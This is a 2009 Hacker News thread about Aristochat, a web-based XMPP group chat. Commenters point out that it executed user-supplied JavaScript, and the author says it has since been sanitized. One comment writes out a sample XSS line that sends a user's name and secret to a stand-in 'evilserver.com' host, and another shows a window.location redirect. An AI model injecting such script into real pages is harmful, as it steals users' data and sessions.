Hacker News
new
|
past
|
comments
|
ask
|
show
|
jobs
|
submit
login
Aristochat: a web based Multi User Chat with XMPP inside
(
superfeedr.com
)
27 points
by
julien
on July 3, 2009
|
hide
|
past
|
favorite
|
11 comments
crux
on July 3, 2009
|
next
[–]
This is awfully interesting. I've been looking for a LAMP-pluggable Campfire clone for a while now but no web chat is anywhere near the simplicity or responsiveness of Campfire.
julien
on July 3, 2009
|
parent
|
next
[–]
Thx Crux. At least Aristochat is OSS, so you can improve it to your needs ;)
davidw
on July 3, 2009
|
parent
|
prev
|
next
[–]
How about mibbit? It's pretty simple to use.
julien
on July 3, 2009
|
root
|
parent
|
next
[–]
Not sure it's OSS? It it? And how much can you integrate it in your very own app?
davidw
on July 3, 2009
|
root
|
parent
|
next
[–]
It's definitely not free software. On the other hand, it does use an open protocol. It's not for everyone, but it does a good job at what it does.
tamersalama
on July 3, 2009
|
prev
|
next
[–]
Allowing JS and tags - that isn't safe.
julien
on July 3, 2009
|
parent
|
next
[–]
You're right, it was just a proof of concept ;) Now it's sanitized though ;) Thx for the "hacking"!
_csoo
on July 3, 2009
|
parent
|
prev
|
next
[–]
Could you be more useful and explain why not? Like give an example or something...
tamersalama
on July 3, 2009
|
root
|
parent
|
next
[–]
XSS -
http://en.wikipedia.org/wiki/Cross-site_scripting
Embedding applets, styles and links (although haven't tried these). You can change window location - window.location='
http://example.org/
in a script tag and the code is executable for all chat users.
jfarmer
on July 3, 2009
|
root
|
parent
|
prev
|
next
[–]
You can embed code like
ping('http://evilserver.com/?user=' + username + '&secret=' + secret)
or whatever to steal data, hijack sessions, etc.
TweedHeads
on July 3, 2009
|
prev
[–]
The future implementation of WebSockets will simplify things like this incredibly.
Guidelines
|
FAQ
|
Lists
|
API
|
Security
|
Legal
|
Apply to YC
|
Contact
Search: